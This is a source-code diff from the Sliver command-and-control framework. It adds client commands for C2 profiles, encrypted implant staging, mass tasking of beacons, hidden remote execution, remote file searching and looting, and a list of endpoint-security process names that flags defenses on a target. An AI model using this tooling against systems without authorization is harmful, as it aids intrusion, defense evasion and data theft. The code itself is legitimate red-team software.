con.PrintErrorf("%s\n", err)
return
}
if resp != nil && resp.Err != "" {
con.PrintErrorf("%s\n", resp.Err)
return
}
con.PrintInfof("Added monitoring configuration\n")
}
func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := selectWatchtowerConfig(resp)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.MonitorDelConfig(context.Background(), config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed monitoring configuration\n")
}
// PrintWTConfig - Print the current watchtower configuration
func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Type",
"APIKey",
"APIPassword",
})
color := console.Normal
for _, config := range configs.Providers {
row := table.Row{}
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) {
var options []string
for _, config := range configs.Providers {
options = append(options, config.Type)
}
selected := ""
prompt := &survey.Select{
Message: "Select a configuration:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for _, provider := range configs.Providers {
if provider.Type == selected {
return provider, nil
}
}
return nil, nil
}
+1 -2
View File
@@ -21,7 +21,6 @@ package processes
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -112,7 +111,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
var saveToFile *os.File
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
saveToFile, err = ioutil.TempFile("", tmpFileName)
saveToFile, err = os.CreateTemp("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %s\n", err)
return
+16 -6
View File
@@ -46,14 +46,20 @@ var knownSecurityTools = map[string][]string{
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
@@ -86,6 +92,10 @@ var knownSecurityTools = map[string][]string{
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
}
// PsCmd - List processes on the remote system
+7
View File
@@ -51,9 +51,16 @@ func (n *node) insert(proc *commonpb.Process) {
}
func (n *node) findParent(proc *commonpb.Process) *node {
// Empty node
if n.Value == nil {
return nil
}
// Skip self when called from reorder
// otherwise things might explode, see #1340
if n.Value.Pid == proc.Pid {
return nil
}
// Found parent
if n.Value.Pid == proc.Ppid {
return n
}
+3 -3
View File
@@ -21,7 +21,7 @@ package reaction
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"strconv"
"strings"
@@ -49,13 +49,13 @@ func SaveReactions(reactions []core.Reaction) error {
if err != nil {
return err
}
return ioutil.WriteFile(reactionFilePath, data, 0o600)
return os.WriteFile(reactionFilePath, data, 0o600)
}
// LoadReactions - Save the reactions to the reaction file
func LoadReactions() (int, error) {
reactionFilePath := GetReactionFilePath()
data, err := ioutil.ReadFile(reactionFilePath)
data, err := os.ReadFile(reactionFilePath)
if err != nil {
return 0, err
}
+2 -2
View File
@@ -21,7 +21,7 @@ package registry
import (
"context"
"encoding/hex"
"io/ioutil"
"os"
"strconv"
"strings"
@@ -100,7 +100,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
return
}
} else {
v, err = ioutil.ReadFile(binPath)
v, err = os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+1 -2
View File
@@ -21,7 +21,6 @@ package screenshot
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -107,7 +106,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr
var err error
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
saveToFile, err = ioutil.TempFile("", tmpFileName)
saveToFile, err = os.CreateTemp("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+156 -5
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/c2profiles"
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
@@ -47,11 +48,13 @@ import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/taskmany"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
client "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/licenses"
)
@@ -269,7 +272,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(mtlsCmd)
@@ -287,7 +289,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(wgCmd)
@@ -306,7 +307,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(dnsCmd)
@@ -327,7 +327,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("persistent", "p", false, "make persistent across restarts")
f.BoolP("staging", "s", false, "enable staging")
})
server.AddCommand(httpCmd)
@@ -348,13 +348,13 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("enable-staging", "s", false, "enable staging")
f.StringP("cert", "c", "", "PEM encoded certificate file")
f.StringP("key", "k", "", "PEM encoded private key file")
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(httpsCmd)
@@ -375,6 +375,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
@@ -665,6 +666,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -673,6 +675,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
server.AddCommand(generateCmd)
@@ -733,6 +736,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -741,6 +745,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
generateCmd.AddCommand(generateBeaconCmd)
@@ -920,6 +925,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -928,6 +934,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)"))
profilesCmd.AddCommand(profilesNewCmd)
@@ -990,6 +997,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -998,6 +1006,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)"))
profilesNewCmd.AddCommand(profilesNewBeaconCmd)
@@ -1014,6 +1023,38 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesRmCmd)
profilesStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Generate an encrypted and/or compressed implant",
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
generate.ProfilesStageCmd(cmd, con, args)
},
}
Flags("stage", false, profilesStageCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "implant name")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
carapace.Gen(profilesStageCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesStageCmd)
profilesInfoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "Details about a profile",
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
generate.PrintProfileInfo(args[0], con)
},
}
carapace.Gen(profilesInfoCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesInfoCmd)
implantBuildsCmd := &cobra.Command{
Use: consts.ImplantBuildsStr,
Short: "List implant builds",
@@ -1053,6 +1094,16 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con))
implantBuildsCmd.AddCommand(implantsRmCmd)
implantStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Serve a previously generated implant",
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
Run: func(cmd *cobra.Command, args []string) {
generate.ImplantsStageCmd(cmd, con, args)
},
}
implantBuildsCmd.AddCommand(implantStageCmd)
canariesCmd := &cobra.Command{
Use: consts.CanariesStr,
Short: "List previously generated canaries",
@@ -1254,6 +1305,14 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Short: "Monitor threat intel platforms for Sliver implants",
GroupID: consts.SliverHelpGroup,
}
configCmd := &cobra.Command{
Use: consts.MonitorConfigStr,
Short: "Configure monitor API keys",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorConfigCmd(cmd, con, args)
},
}
monitorCmd.AddCommand(&cobra.Command{
Use: "start",
Short: "Start the monitoring loops",
@@ -1268,6 +1327,23 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
monitor.MonitorStopCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "add",
Short: "Add API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorAddConfigCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "del",
Short: "Remove API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorDelConfigCmd(cmd, con, args)
},
})
monitorCmd.AddCommand(configCmd)
server.AddCommand(monitorCmd)
// [ Loot ] --------------------------------------------------------------
@@ -1734,6 +1810,81 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(hcstat2RmCmd).PositionalCompletion(crack.CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
hcstat2Cmd.AddCommand(hcstat2RmCmd)
// [ Task many ]-----------------------------------------
taskmanyCmd := &cobra.Command{
Use: consts.TaskmanyStr,
Short: "Task many beacons or sessions",
Long: help.GetHelpFor([]string{consts.TaskmanyStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
taskmany.TaskmanyCmd(cmd, con, args)
},
}
server.AddCommand(taskmanyCmd)
// Add the relevant beacon commands as a subcommand to taskmany
taskmanyCmds := map[string]bool{
consts.ExecuteStr: true,
consts.LsStr: true,
consts.CdStr: true,
consts.MkdirStr: true,
consts.RmStr: true,
consts.UploadStr: true,
consts.DownloadStr: true,
consts.InteractiveStr: true,
consts.ChmodStr: true,
consts.ChownStr: true,
consts.ChtimesStr: true,
consts.PwdStr: true,
consts.CatStr: true,
consts.MvStr: true,
consts.PingStr: true,
consts.NetstatStr: true,
consts.PsStr: true,
consts.IfconfigStr: true,
}
for _, c := range SliverCommands(con)().Commands() {
_, ok := taskmanyCmds[c.Use]
if ok {
taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con))
}
}
// [ HTTP C2 Profiles ] --------------------------------------------------------------
ImportC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.ImportC2ProfileCmd(cmd, con, args)
},
}
Flags(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.C2ProfileCmd(cmd, con, args)
},
}
Flags(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display")
})
FlagComps(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(ImportC2ProfileCmd)
server.AddCommand(C2ProfileCmd)
// [ Post-command declaration setup]-----------------------------------------
// Everything below this line should preferably not be any command binding
+3 -3
View File
@@ -21,7 +21,7 @@ package sgn
import (
"context"
"encoding/hex"
"io/ioutil"
"os"
"path/filepath"
"github.com/spf13/cobra"
@@ -33,7 +33,7 @@ import (
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
shellcodeFile := args[0]
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
rawShellcode, err := os.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
@@ -73,7 +73,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0o644)
err = os.WriteFile(outputFile, shellcodeResp.Data, 0o644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
+110 -2
View File
@@ -456,7 +456,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
}
sliver.AddCommand(executeCmd)
Flags("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (windows only)")
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", false, "capture command output")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
@@ -465,6 +465,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
@@ -790,6 +791,25 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionValues().Usage("path to dest file (required)"),
)
cpCmd := &cobra.Command{
Use: consts.CpStr,
Short: "Copy a file",
Long: help.GetHelpFor([]string{consts.CpStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.CpCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(cpCmd)
Flags("", false, cpCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(cpCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to source file (required)"),
carapace.ActionValues().Usage("path to dest file (required)"),
)
lsCmd := &cobra.Command{
Use: consts.LsStr,
Short: "List current directory",
@@ -919,9 +939,94 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
)
grepCmd := &cobra.Command{
Use: consts.GrepStr,
Short: "Search for strings that match a regex within a file or directory",
Long: help.GetHelpFor([]string{consts.GrepStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.GrepCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(grepCmd)
Flags("", false, grepCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.BoolP("recursive", "r", false, "search recursively")
f.BoolP("insensitive", "i", false, "case-insensitive search")
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
f.BoolP("exact", "e", false, "match the search term exactly")
})
carapace.Gen(grepCmd).PositionalCompletion(
carapace.ActionValues().Usage("regex to search the file for"),
carapace.ActionValues().Usage("remote path / file to search in"),
)
headCmd := &cobra.Command{
Use: consts.HeadStr,
Short: "Grab the first number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.HeadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, true)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(headCmd)
Flags("", false, headCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
tailCmd := &cobra.Command{
Use: consts.TailStr,
Short: "Grab the last number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.TailStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, false)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(tailCmd)
Flags("", false, tailCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
Short: "Upload a file",
Short: "Upload a file or directory",
Long: help.GetHelpFor([]string{consts.UploadStr}),
Args: cobra.RangeArgs(1, 2),
Run: func(cmd *cobra.Command, args []string) {
@@ -932,6 +1037,9 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
sliver.AddCommand(uploadCmd)
Flags("", false, uploadCmd, func(f *pflag.FlagSet) {
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
f.BoolP("recurse", "r", false, "recursively upload a directory")
f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination")
f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(uploadCmd).PositionalCompletion(
+3
View File
@@ -0,0 +1,3 @@
Taskmany
========
This package implements the `taskmany` command, which is used to task multiple beacons or sessions at once
+199
View File
@@ -0,0 +1,199 @@
package taskmany
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2023 ActualTrash
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
// TaskmanyCmd - Task many beacons / sessions
func TaskmanyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintErrorf("Must specify subcommand. See taskmany --help for supported subcommands.\n")
}
